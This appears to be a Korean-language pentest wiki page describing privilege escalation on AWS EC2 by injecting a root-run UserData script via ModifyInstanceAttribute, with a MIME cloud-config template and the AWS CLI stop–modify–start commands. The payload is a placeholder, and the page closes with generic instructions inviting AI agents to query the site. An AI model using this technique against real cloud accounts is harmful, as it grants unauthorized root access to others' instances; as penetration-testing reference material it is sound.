# ModifyInstanceAttributepending

EC2 UserData는 인스턴스가 시작될 때 자동으로 실행되도록 스크립트를 설정할 수 있는 기능입니다.

<figure><img src="/files/wbM2UjO1tj5cgjLyuwxX" alt=""><figcaption></figcaption></figure>

해당 데이터에 입력된 명령은 루트 권한으로 실행되기 때문에, 인스턴스에 대해 수정 권한이 있는 일반 사용자 계정 제어권을 탈취한 상황에서 사용 가능한 권한 상승 기법입니다.

{% hint style="info" %}
UserData 스크립트 삽입은 반드시 인스턴스가 중지된 상태에서만 가능합니다.
{% endhint %}

## Abuse

{% code title="UserData" %}

```viml
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
*** commands here ***
--//
command
```

{% endcode %}

<pre class="language-bash"><code class="lang-bash"><strong># UserData 파일 생성 후 base64 인코딩
</strong>base64 file.txt > file.b64.txt

<strong># 인스턴스 중지
</strong>aws ec2 stop-instances --instance-id '&#x3C;instance-id>'

<strong># 인스턴스 UserData 항목에 file.b64.txt 파일 삽입
</strong>aws ec2 modify-instance-attribute --instance-id='&#x3C;instance-id>' --attribute userData --value file://file.b64.txt

<strong># 인스턴스 시작
</strong>aws ec2 start-instances --instance-id '&#x3C;instance-id>'
</code></pre>

## Demo

<figure><img src="/files/5Rg7ilezIJ8p9JO35Mno" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://ltlkodae.tistory.com/48>" %}

{% embed url="<https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/cloud/aws/policy/modifyinstanceattributepending.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.